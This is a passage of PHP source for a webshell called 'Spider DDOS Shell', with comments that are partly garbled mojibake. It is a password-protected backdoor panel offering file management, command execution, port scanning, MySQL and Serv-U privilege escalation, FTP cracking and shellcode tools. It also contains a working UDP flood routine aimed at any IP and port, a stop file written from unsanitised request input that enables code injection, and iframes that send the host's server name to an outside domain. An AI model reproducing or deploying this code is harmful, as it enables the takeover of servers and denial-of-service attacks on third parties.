				{
					$statusize[] = $statu['Data_length'];
					$statucoll[] = $statu['Collation'];
				}
				$query = 'SHOW TABLES FROM '.$_GET['db'].';';
				echo '</div><table border="0"><tr>';
				echo '<td class="toptd" style="width:550px;"> <20><><EFBFBD><EFBFBD> </td>';
				echo '<td class="toptd" style="width:80px;"> <20><><EFBFBD><EFBFBD> </td>';
				echo '<td class="toptd" style="width:130px;"> <20>ַ<EFBFBD><D6B7><EFBFBD> </td>';
				echo '<td class="toptd" style="width:70px;"> <20><>С </td></tr>';
				$result = @mysql_query($query,$conn);
				$k = 0;
				while($table = mysql_fetch_row($result))
				{
					echo '<tr><td><a href="?s=r&db='.$_GET['db'].'&table='.$table[0].'">'.$table[0].'</a></td>';
					echo '<td><a href="?s=r&db='.$_GET['db'].'&insert='.$table[0].'"> <20><><EFBFBD><EFBFBD> </a> <a href="#" onclick="Delok(\''.$table[0].'\',\'?s=r&db='.$_GET['db'].'&drop='.$table[0].'\');return false;"> ɾ<><C9BE> </a></td>';
					echo '<td>'.$statucoll[$k].'</td><td align="right">'.File_Size($statusize[$k]).'</td></tr>'."\r\n";
					$k++;
				}
				echo '</table>';
			}
		}
	}
	else die('<27><><EFBFBD><EFBFBD>MYSQLʧ<4C><CAA7>,<2C><><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>½.<meta http-equiv="refresh" content="0;URL=?s=o">');
	if(!$BOOL) echo '<script type="text/javascript">document.getElementById(\'nsql\').value = \''.addslashes($query).'\';</script>';
	return false;
}
function Mysql_o()
{
	ob_start();
  if(isset($_POST['mhost']) && isset($_POST['mport']) && isset($_POST['muser']) && isset($_POST['mpass']))
  {
  	if(@mysql_connect($_POST['mhost'].':'.$_POST['mport'],$_POST['muser'],$_POST['mpass']))
	  {
	  	$cookietime = time() + 24 * 3600;
	  	setcookie('m_spiderhost',$_POST['mhost'],$cookietime);
	  	setcookie('m_spiderport',$_POST['mport'],$cookietime);
	  	setcookie('m_spideruser',$_POST['muser'],$cookietime);
	  	setcookie('m_spiderpass',$_POST['mpass'],$cookietime);
	  	die('<27><><EFBFBD>ڵ<EFBFBD>½,<2C><><EFBFBD>Ժ<EFBFBD>...<meta http-equiv="refresh" content="0;URL=?s=r">');
	  }
  }
print<<<END
<form method="POST" name="oform" id="oform" action="?s=o">
<div class="actall"><3E><>ַ <input type="text" name="mhost" value="localhost" style="width:300px"></div>
<div class="actall"><3E>˿<EFBFBD> <input type="text" name="mport" value="3306" style="width:300px"></div>
<div class="actall"><3E>û<EFBFBD> <input type="text" name="muser" value="root" style="width:300px"></div>
<div class="actall"><3E><><EFBFBD><EFBFBD> <input type="text" name="mpass" value="" style="width:300px"></div>
<div class="actall"><input type="submit" value="<22><>½" style="width:80px;"> <input type="button" value="COOKIE" style="width:80px;" onclick="window.location='?s=r';"></div>
</form>
END;
	ob_end_flush();
	return true;
}
//<2F><>¼
function Root_Login($MSG_TOP)
{
print<<<END
<html>
	<body style="background:#AAAAAA;">
		<center>
		<form method="POST">

		<div style="width:351px;height:201px;margin-top:100px;background:threedface;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;">
		<div style="width:350px;height:22px;padding-top:2px;color:#FFFFFF;background:#293F5F;clear:both;"><b>{$MSG_TOP}</b></div>
		<div style="width:350px;height:80px;margin-top:50px;color:#000000;clear:both;">PASS:<input type="password" name="spiderpass" style="width:270px;"></div>
		<div style="width:350px;height:30px;clear:both;"><input type="submit" value="LOGIN" style="width:80px;"></div>
		</div>
		</form>
		</center>
	</body>
</html>
END;
return false;
}
//<2F><><EFBFBD><EFBFBD>
function Root_jianjie()
{
echo "<center><h1>Spider DDOS Shell<6C><6C><EFBFBD><EFBFBD></h1></center>";
echo "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Spider DDOS Shell<6C><6C><EFBFBD><EFBFBD> Spider<65><72><EFBFBD>հ<EFBFBD><D5B0>޸<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD>PR<50><52><EFBFBD>ٶ<EFBFBD><D9B6><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>վȨ<D5BE>أ<EFBFBD><D8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>԰<EFBFBD>վΪ׼<CEAA><D7BC><EFBFBD>Ժ󽫼<D4BA><F3BDABBC><EFBFBD>ALEXA<58><41>soso<73><6F><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>ѯ<EFBFBD><D1AF><EFBFBD>¡<EFBFBD><br>";

echo "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<3B><><EFBFBD><EFBFBD><EFBFBD>޸<EFBFBD><font color=red>һ<>仰Evilͨ<6C><CDA8><EFBFBD><EFBFBD>shell<6C><6C><EFBFBD><EFBFBD></font><3E><><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2><CBB5><EFBFBD><EFBFBD>ӡ<EFBFBD><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>շ籩<D5B7><E7B1A9><EFBFBD><EFBFBD>DDOS,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><C3B9><EFBFBD>һ<EFBFBD><EFBFBD><EEA3AC><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>վ<EFBFBD><D5BE><EFBFBD>а<EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD>⣬ѹ<E2A3AC><D1B9><EFBFBD><EFBFBD><EFBFBD>ԣ<EFBFBD><D4A3><EFBFBD><EFBFBD><EFBFBD>ľ<EFBFBD><C4BE>,<2C>ȼ<EFBFBD><C8BC>⹥<EFBFBD><E2B9A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD>塣<p>";

echo "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=red>ͳ<>ƴ<EFBFBD><C6B4><EFBFBD></font><3E><><EFBFBD>ԴӸ<D4B4><D3B8><EFBFBD><EFBFBD><EFBFBD>ȥ<EFBFBD><C8A5><EFBFBD><EFBFBD><EFBFBD>ţ<EFBFBD><C5A3><EFBFBD>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ,ǿ<>ҽ<EFBFBD><D2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͳ<EFBFBD>ƴ<EFBFBD><C6B4>롣<p>";
echo "<iframe src=http://e2315.com/web/gx/?update=php width=100% height=600></iframe><br></br>";
}


function WinMain()
{
	$Server_IP = gethostbyname($_SERVER["SERVER_NAME"]);
	$Server_OS = PHP_OS;
	$Server_Soft = $_SERVER["SERVER_SOFTWARE"];
	$Server_Alexa = 'http://cn.alexa.com/siteinfo/'.str_replace('www.','',$_SERVER['SERVER_NAME']);
print<<<END
<html><head><title>{$Server_IP} - Silic Group php Webshell version 4</title>
<style type="text/css">
*{padding:0; margin:0;}
body{background:#AAAAAA;font-family:"Verdana", "Tahoma", "<22><><EFBFBD><EFBFBD>",sans-serif; font-size:13px; text-align:center;margin-top:5px;word-break:break-all;}
a{color:#FFFFFF;text-decoration:none;}
a:hover{background:#BBBBBB;}
.outtable{margin: 0 auto;height:595px;width:955px;color:#000000;border-top-width: 2px;border-right-width: 2px;border-bottom-width: 2px;border-left-width: 2px;border-top-style: outset;border-right-style: outset;border-bottom-style: outset;border-left-style: outset;border-top-color: #FFFFFF;border-right-color: #8c8c8c;border-bottom-color: #8c8c8c;border-left-color: #FFFFFF;background-color: threedface;}
.topbg{padding-top:3px;text-align: left;font-size:12px;font-weight: bold;height:22px;width:950px;color:#FFFFFF;background: #293F5F;}
.bottombg{padding-top:3px;text-align: center;font-size:12px;font-weight: bold;height:22px;width:950px;color:#000000;background: #888888;}
.listbg{font-family:'lucida grande',tahoma,helvetica,arial,'bitstream vera sans',sans-serif;font-size:13px;width:130px;}
.listbg li{padding:3px;color:#000000;height:25px;display:block;line-height:26px;text-indent:0px;}
.listbg li a{padding-top:2px;background:#BBBBBB;color:#000000;height:25px;display:block;line-height:24px;text-indent:0px;border-color:#999999 #999999 #999999 #999999;border-style:solid;border-width:1px;text-decoration:none;}
</style>
<script language="JavaScript">
function switchTab(tabid)
{
if(tabid == '') return false;
for(var i=0;i<=22;i++)
{
	if(tabid == 't_'+i) document.getElementById(tabid).style.background="#FFFFFF";
	else document.getElementById('t_'+i).style.background="#BBBBBB";
}
return true;
}
</script>
</head>
<body>
<div class="outtable">
<div class="topbg"> &nbsp; {$Server_IP} - {$Server_OS} - <a href="{$Server_Alexa}" target="_blank">Alexa</a></div>
	<div style="height:546px;">
		<table width="100%" height="100%" border=0 cellpadding="0" cellspacing="0">
		<tr><td width="140" align="center" valign="top">
			<ul class="listbg">
			<li><a href="?s=a" id="t_0" onclick="switchTab('t_0')" style="background:#FFFFFF;" target="main"><3E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD></a></li>
			<li><a href="?s=g" id="t_6" onclick="switchTab('t_6')" target="main">ִ<><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a></li>
			<li><a href="?s=i" id="t_8" onclick="switchTab('t_8')" target="main">ɨ<><C9A8><EFBFBD>˿<EFBFBD></a></li>
			<li><a href="?s=h" id="t_7" onclick="switchTab('t_7')" target="main"><3E><><EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD></a></li>
			<li><a href="?s=f" id="t_5" onclick="switchTab('t_5')" target="main">ϵͳ<CFB5><CDB3>Ϣ</a></li>
			<li><a href="?s=n" id="t_13" onclick="switchTab('t_13')" target="main">MYSQLִ<4C><D6B4></a></li>
			<li><a href="?s=o" id="t_14" onclick="switchTab('t_14')" target="main">MYSQL<51><4C><EFBFBD><EFBFBD></a></li>
			<li><a href="?s=ee" id="t_19" onclick="switchTab('t_19')" target="main">MYSQL<51><4C>Ȩ</a></li>
			<li><a href="?s=gg" id="t_22" onclick="switchTab('t_22')" target="main"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD></a></li>
			<li><a href="?s=e" id="t_4" onclick="switchTab('t_4')" target="main">ɨ<><C9A8>ľ<EFBFBD><C4BE></a></li>
			<li><a href="?s=j" id="t_9" onclick="switchTab('t_9')" target="main"><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD></a></li>
			<li><a href="?s=b" id="t_1" onclick="switchTab('t_1')" target="main"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a></li>
			<li><a href="?s=c" id="t_2" onclick="switchTab('t_2')" target="main"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a></li>
			<li><a href="?s=d" id="t_3" onclick="switchTab('t_3')" target="main"><3E><><EFBFBD><EFBFBD><EFBFBD>滻</a></li>
			<li><a href="?s=hh" id="t_12" onclick="switchTab('t_12')" target="main">WINע<4E><D7A2><EFBFBD><EFBFBD></a></li>
			<li><a href="?s=l" id="t_11" onclick="switchTab('t_11')" target="main">ServU<76><55>Ȩ</a></li>
			<li><a href="?s=dd" id="t_18" onclick="switchTab('t_18')" target="main">php<68><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a></li>
			<li><a href="?s=k" id="t_10" onclick="switchTab('t_10')" target="main">Linux<75><78><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a></li>
			<li><a href="?s=aa" id="t_21" onclick="switchTab('t_21')" target="main">FTP<54><50><EFBFBD><EFBFBD></a></li>
			<li><a href="?s=cc" id="t_17" onclick="switchTab('t_17')" target="main"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><CCBD></a></li>
			<li><a href="?s=bb" id="t_16" onclick="switchTab('t_16')" target="main">shellcode</a></li>
			<li><a href="?s=ff" id="t_20" onclick="switchTab('t_20')" target="main">ִ<><D6B4>php<68><70><EFBFBD><EFBFBD></a></li>
			<li><a href="?s=s" id="t_16" onclick="switchTab('t_16')" target="main"><3E><><EFBFBD><EFBFBD> -- <20><><EFBFBD><EFBFBD></a></li>
			<li><a href="?s=logout" id="t_15" onclick="switchTab('t_15')"><3E>˳<EFBFBD>ϵͳ</a></li></ul></td><td>
<iframe name="main" src="?s=a" width="100%" height="100%" frameborder="0"></iframe></td></tr></table></div>
<div class="bottombg">{$Server_Soft}</div></div></body></html>
END;
return false;
}
$ip = gethostbyname($_SERVER["SERVER_NAME"]);  //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP

$key_file="logo.gif";          // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
 
if(!file_exists($key_file)){	//û<>з<EFBFBD><D0B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
	write_inc($key_file,"<?php\n return \"die\";\n?>",true);
}

$mkey = include $key_file;
if($_GET["act"]=="die"){//ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
	if(!function_exists("fsockopen")){exit("error<6F><72>SHELL<4C><4C><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȱ<EFBFBD>ٱ<EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>֧<EFBFBD><D6A7>.");}
	if(!function_exists("set_time_limit") or !function_exists("ignore_user_abort")){exit("error<6F><72>SHELL<4C><4C><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>.");}
	if(@trim($_GET["pass"])<>trim($password)){echo("error<6F><72>SHELL<4C><4C><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C>޷<EFBFBD>ֹͣ.");}
	write_inc($key_file,"<?php\n ".$_REQUEST["s"]." return \"die\";\n?>",true);
	exit("died");
}

if($_GET["act"]=="view"){//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
	if(!function_exists("fsockopen")){exit("error<6F><72>SHELL<4C><4C><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȱ<EFBFBD>ٱ<EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>֧<EFBFBD><D6A7>.");}
	if(!function_exists("set_time_limit") or !function_exists("ignore_user_abort")){exit("error<6F><72>SHELL<4C><4C><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>.");}
	if(@trim($_GET["pass"])<>trim($password)){echo("");}
	exit("ok:".$ip."|".$mkey);
}



if($_GET["act"]=="attack"){ //<2F><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
		ignore_user_abort (true);
		set_time_limit (0); 
		$packets = 0;
		
		if(!isset($_GET["ip"]) or !isset($_GET["port"]) or !isset($_GET["exec_time"]) or !isset($_GET["att_size"])){
			exit("error:<3A><><EFBFBD><EFBFBD><EFBFBD>ύ<EFBFBD><E1BDBB><EFBFBD><EFBFBD>");
		}
		
		if(@trim($_GET["pass"])<>trim($password)){exit("error<6F><72>SHELL<4C><4C><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD>.");}
		write_inc($key_file,"<?php\n return \"true\";\n?>",true);
		$ip = gethostbyname($_GET["ip"]); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ
		$rand = trim($_GET["port"]);   //<2F><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>
		$exec_time = trim($_GET["exec_time"]);  //<2F><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>,<2C><>λ<EFBFBD><CEBB>
		$att_size= trim($_GET["att_size"]);  //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
		$time =  time(); 
		$max_time = $time+$exec_time;
		$dosstr=randStr(100);
		for($i=0;$i<floor($att_size/100);$i++){
				$out .= "X".$dosstr;
		}
		while(1){
				$mkey = include $key_file;
				if ($mkey=="true"){  // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ
					$packets++;
					if(time() > $max_time){
							write_inc($key_file,"<?php\n return \"die\";\n?>",true);
							break;
					}
					
					$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
					if($fp){
							fwrite($fp, $out);
							fclose($fp);
					}
				}elseif($mkey=="die"){        // <20><><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD>
     					 die("I am dying!");
    			}
		}
		//echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
		exit();
}

function write_inc($path,$strings,$type=false) //д<><D0B4><EFBFBD>ļ<EFBFBD>
{   
  $path=dirname(__FILE__)."/".$path;
  if ($type==false)
    file_put_contents($path,$strings,FILE_APPEND);
  else
    file_put_contents($path,$strings);
}
function randStr($i){
  $str = "abcdefghijklmnopqrstuvwxyz!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:ZXCVBNM<>?/";
  $finalStr = "";
  for($j=0;$j<$i;$j++)
  {
    $finalStr .= substr($str,rand(0,(strlen($str)-1)),1);
  }
  return $finalStr;
}


if(get_magic_quotes_gpc())
{
	$_GET = Root_GP($_GET);
	$_POST = Root_GP($_POST);
}
if($_GET['s'] == 'logout')
{
	setcookie('admin_spiderpass',NULL);
	die('<meta http-equiv="refresh" content="0;URL=?">');
}
if($_COOKIE['admin_spiderpass'] != md5($password))
{
	ob_start();
	$MSG_TOP = 'PHP Spider DDOS Shell <20>籩<EFBFBD><E7B1A9><EFBFBD><EFBFBD>ʱ';
	if(isset($_POST['spiderpass']))
	{
		$cookietime = time() + 24 * 3600;
		setcookie('admin_spiderpass',md5($_POST['spiderpass']),$cookietime);
		if(md5($_POST['spiderpass']) == md5($password)){
Root_CSS();
echo "PR: <iframe src=http://e2315.com/web/zh/?domain=".$_SERVER['SERVER_NAME']." width=100% height=100></iframe><br>";
echo "</br><center><form method='post'><input type='submit' value='  <20><><EFBFBD><EFBFBD>  '></center>";
die('<meta http-equiv="refresh" content="10;URL=?">');}
		else{$MSG_TOP = 'PASS IS FALSE';}
	}
Root_Login($MSG_TOP);
ob_end_flush();
exit;
}
if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';}
$p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__));
switch($s)
{
	case"a":File_a($p);break;
	case"b":Guama_b();break;
	case"c":Qingma_c();break;
	case"d":Tihuan_d();break;
	case"e":Antivirus_e();break;
	case"f":Info_f();break;
	case"g":Exec_g();break;
	case"h":Com_h();break;
	case"i":Port_i();break;
	case"j":Findfile_j();break;
	case"k":Linux_k();break;
	case"l":Servu_l();break;
	case"n":Mysql_n();break;
	case"o":Mysql_o();break;
	case"p":File_Edit($_GET['fp'],$_GET['fn']); break;
	case"q":File_Soup($p); break;
	case"r":Mysql_Msg(); break;
	case"s":Root_jianjie();break;
	case"aa":ftp_php();break;
	case"bb":Shellcode_j();break;
	case"cc":Crack_k();break;
	case"dd":phpsocket();break;
	case"ee":Mysql_u();break;
	case"ff":phpcode();break;
	case"gg":otherdb();break;
	case"hh":phpreg();break;
	default:WinMain();break;
}
?>